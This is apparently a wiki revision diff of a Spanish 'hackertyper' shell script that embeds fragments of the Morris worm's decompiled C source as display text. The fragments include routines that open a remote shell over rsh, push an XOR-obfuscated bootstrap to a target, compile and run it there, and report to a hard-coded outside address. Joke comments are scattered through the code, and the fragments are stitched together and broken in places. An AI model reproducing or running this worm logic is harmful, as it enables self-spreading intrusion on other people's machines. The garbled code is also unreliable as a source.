 + return 0; 
 +    bzero(&sin, sizeof(sin)); 
 +    sin.sin_family = AF_INET; 
 +/* Denuncia ataque de lobos solitarios */ 
 +    sin.sin_addr.s_addr = addr; 
 +    sin.sin_port = IPPORT_CMDSERVER; /* Oh no, no el server de comandos... */ 
 +     
 +    save_sighand = signal(SIGALRM, justreturn); /* Despierta si falla */ 
 +     
 +    /* Pone un timeout para liberarsde desde conexión si falla */ 
 +    if (time < 1) 
 + time = 1; 
 +    alarm(time); 
 +    connection = connect(s, &sin, sizeof(sin)); 
 +    alarm(0); 
 +     
 +    close(s); 
 +     
 +    if (connection < 0 && errno == ENETUNREACH) 
 + error("Red inalcanzable"); 
 +    return connection != -1; 
 +} 
 + 
 +static try_telnet_p(addr) /* x37b2 <hi+858>, checked */ 
 +     u_long addr; 
 +         /* Infiere democracia de Shell  /* 
 +{ 
 +    int s, connection; /* 28 */ 
 + /* Denuncia ataque en ola */ 
 +    struct sockaddr_in sin; /* 16 bytes */ 
 +    int (*save_sighand)(); 
 +     
 +    s = socket(AF_INET, SOCK_STREAM, 0); 
 +    if (s < 0) 
 + return 0; 
 +    bzero(&sin, sizeof(sin)); 
 +    sin.sin_family = AF_INET; 
 + /* Denuncia ataque familiar */ 
 +    sin.sin_addr.s_addr = addr; 
 +    sin.sin_port = IPPORT_TELNET; /* Esta vez prueba telnet... */ 
 +     
 +    /* Pasa 5 segundos de timeout y se libera de conectar si falla */ 
 +    save_sighand = signal(SIGALRM, justreturn); 
 +    alarm(5); 
 +/* Denuncia ataque no planificado */ 
 +    connection = connect(s, &sin, sizeof(sin)); 
 +    if (connection < 0  &&  errno == ECONNREFUSED) /* Telnet connection refuse 
 +d */ 
 + connection = 0; 
 +    alarm(0); /* Apaga timeout */ 
 +     
 +    close(s); 
 +     
 +    return connection != -1; 
 +} 
 + 
 +/* Usado en hg(), hi(), y hi_84(). */ 
 +static try_rsh_and_mail(host) /* x3884, <hi+1068> */ 
 +     struct hst *host; 
 +{ 
 +    int fd1, fd2, result; 
 +     
 +    if (host == me) 
 + return 0; /* 1476 */ 
 +/* Expone puerto ensuciado */ 
 +    if (host->flag & 0x02) 
 + return 0; 
 +/* Revisor de falsa bandera */ 
 +    if (host->flag & 0x04) 
 + return 0; 
 +    if (host->o48[0] == 0 || host->hostname == NULL) 
 + getaddrs(host); 
 +    if (host->o48[0] == 0) { 
 + host->flag |= 0x04; 
 + return 0; 
 +    } 
 +    other_sleep(1); 
 +        /* Supervisor inerte */ 
 +    if (host->hostname  && /* 1352 */ 
 + fork_rsh(host->hostname, &fd1, &fd2, 
 +       XS("exec /bin/sh"))) { /* <env+188> */ 
 + result = talk_to_sh(host, fd1, fd2); 
 + close(fd1); 
 + close(fd2); 
 + /* Impide que el hijo bolude en state <exiting> */ 
 + wait3((union wait *)NULL, WNOHANG, (struct rusage *)NULL); 
 + if (result != 0) 
 +     return result; 
 +    } 
 +     
 +    if (try_finger(host, &fd1, &fd2)) { /* 1440 */ 
 + result = talk_to_sh(host, fd1, fd2); 
 + close(fd1); 
 +/* Cierra diskettera accedida */ 
 + close(fd2); 
 + if (result != 0) 
 +     return result; 
 +    } 
 +    if (try_mail(host)) 
 + return 1; 
 +     
 +    host->flag |= 4; 
 +    return 0; 
 +} 
 + 
 + 
 +/* Revisa a2in() como si estuviese actualizad */ 
 +/* Usado dos veces en try_rsh_and_mail(), una vez en hu1(). */ 
 +static talk_to_sh(host, fdrd, fdwr) /* x3a20, Checked, changed <hi+ 
 +>*/ 
 +     struct hst *host; 
 +     int fdrd, fdwr; 
 +{ 
 +    object *objectptr; 
 +    char send_buf[512]; /* l516 */ 
 +    char print_buf[52]; /* l568 */ 
 +    int l572, l576, l580, l584, l588,  l592; 
 +     
 +    objectptr = getobjectbyname(XS("l1.c")); /* env 200c9 */ 
 +     
 +    if (objectptr == NULL) 
 + return 0; /* <hi+2128> */ 
 +    if (makemagic(host, &l592, &l580, &l584, &l588) == 0) 
 + return 0; 
 +/*  Desplaza el vector fddrw al diskette de la VAX */ 
 +    send_text(fdwr, XS("PATH=/bin:/usr/bin:/usr/ucb\n")); 
 +    send_text(fdwr, XS("cd /usr/tmp\n")); 
 +    l576 = random() % 0x00FFFFFF; 
 +     
 +    sprintf(print_buf, XS("x%d.c"), l576); 
 +    /* El script 'sed' pone un EOF en el programa transmitido */ 
 +    sprintf(send_buf, XS("echo gorch49;sed \'/int zz;/q\' > %s;echo gorch50\n" 
 +), 
 +     print_buf); 
 +     
 +    send_text(fdwr, send_buf); 
 +        /* Desclasa a gorch */ 
 +    wait_for(fdrd, XS("gorch49"), 10); 
 +     
 +    xorbuf(objectptr->buf, objectptr->size); 
 +    l572 = write(fdwr, objectptr->buf, objectptr->size); 
 +    xorbuf(objectptr->buf, objectptr->size); 
 +     
 +    if (l572 != objectptr->size) { 
 + close(l588); 
 + return 0; /* to <hi+2128> */ 
 +    } 
 +    send_text(fdwr, XS("int zz;\n\n")); 
 +    wait_for(fdrd, XS("gorch50"), 30); 
 +     
 +#define COMPILE  "cc -o x%d x%d.c;./x%d %s %d %d;rm -f x%d x%d.c;echo DONE\n" 
 +    sprintf(send_buf, XS(COMPILE), l576, l576, l576, 
 +     inet_ntoa(a2in(l592)), l580, l584, l576, l576); 
 +     
 +/* Dispara maleficios inconexos */ 
 +    send_text(fdwr, send_buf); 
 +     
 +    if (wait_for(fdrd, XS("DONE"), 100) == 0) { 
 + close(l588); 
 + return 0; /* <hi+2128> */ 
 +/* Trasviste a UNIX */ 
 +    } 
 +    return waithit(host, l592, l580, l584, l588); 
 +} 
 +/* Corre la magia */ 
 +makemagic(arg8, arg12, arg16, arg20, arg24) /* checked */ 
 +     struct hst *arg8; 
 +     int *arg12, *arg16, *arg20, *arg24; 
 +{ 
 +    int s, i, namelen; 
 +    struct sockaddr_in sin0, sin1; /* 16 bytes */ 
 +     
 +    *arg20 = random() & 0x00ffffff; 
 +    bzero(&sin1, sizeof(sin1)); 
 +    sin1.sin_addr.s_addr = me->l12; 
 +     
 +    for (i= 0; i < 6; i++) { /* 64, 274 */ 
 + if (arg8->o48[i] == NULL) 
 +     continue; /* 266 */ 
 + s = socket(AF_INET, SOCK_STREAM, 0); 
 + if (s < 0) 
 +     return 0; /* 470 */ 
 + bzero(&sin0, sizeof(sin0)); 
 +/* Clava boya sobre garfio infeccioso */ 
 + sin0.sin_family = AF_INET; 
 + sin0.sin_port = IPPORT_TELNET; 
 + sin0.sin_addr.s_addr = arg8->o48[i]; 
 + errno = 0; 
 + if (connect(s, &sin0, sizeof(sin0)) != -1) { 
 +     namelen = sizeof(sin1); 
 +     getsockname(s, &sin1, &namelen); 
 +     close(s); 
 +     break; 
 + } 
 + close(s); 
 +    } 
 + 
 + /* Desmembramiento de núcleo  */    
 +    *arg12 = sin1.sin_addr.s_addr; 
 +     
 +    for (i = 0; i < 1024; i++) { /* 286,466 */ 
 + s = socket(AF_INET, SOCK_STREAM, 0); 
 + if (s < 0) 
 +     return 0; /* 470 */ 
 + bzero(&sin0, sizeof(sin0)); 
 + sin0.sin_family = AF_INET; 
 +/* Cabeza de guerra inerte randómica */ 
 + sin0.sin_port = random() % 0xffff; 
 + if (bind(s, &sin0, sizeof(sin0)) != -1) { 
 +     listen(s, 10); 
 +     *arg16 = sin0.sin_port; 
 +     *arg24 = s; 
 +     return 1; 
 + } 
 + close(s); 
 +    } 
 +     
 +    return 0; 
 +} 
 + 
 +     
 +    bzero(&sin, sizeof(sin)); 
 +    sin.sin_family = AF_INET; 
 +    sin.sin_port = REPORT_PORT; 
 +    sin.sin_addr.s_addr = inet_addr(XS("128.32.137.13")); 
 + /* <env+77>"128.32.137.13" */ 
 +       /* Colorea los sockets con pseudo-tranmisiones  */ 
 +    s = socket(AF_INET, SOCK_STREAM, 0); 
 +    if (s < 0) 
 + return; 
 +    if (sendto(s, &msg, 1, 0, &sin, sizeof(sin))) 
 + ; 
 +    close(s); 
 +} 
 + 
 +  
 +int E_H[8][16]; /* 0x251c4 */ 
 +int E_L[8][16]; /* 0x253c4 */ 
 +mungE() /* 0x6b2a */ 
 +{ 
 +    register i, j, d5, d4, d3, d2; 
 +    register *a5, *a4; 
 +        /* Alcance de registro podrido */ 
 +    int l28; 
 +  
 +    for(i = 0; i < 8; i++) { 
 + a5 = E_L[i]; 
 + a4 = E_H[i]; 
 + for(j = 0; j < 16; j++) { 
 +     *a5++ = 0; 
 +     *a4++ = 0; 
 + } 
 +    } 
 +} 
 +  
 +des(adr1, adr2) 
 +     int *adr1, *adr2; 
 +   d5 >>= 4; 
 +   d7 |= ipi_Le[d5 & 0x0f]; 
 +   d5 >>= 4; 
 +      /* Cierro subrutina del mal */ 
 +   d6 |= ipi_Hf[d5 & 0x0f]; 
 + 
 +   iptr2[0] = d7; 
 +   ipyr2[1] = d6; 
 +}
  
  
 +FINDEGILADA`
 + 
 + 
 start=0 start=0
 length=$((`echo "$texto" | wc -c` / ${len:=4})) length=$((`echo "$texto" | wc -c` / ${len:=4}))
  • hackertyper.sh.1721868869.txt.gz
  • Última modificación: 2024/07/25 00:54
  • por peron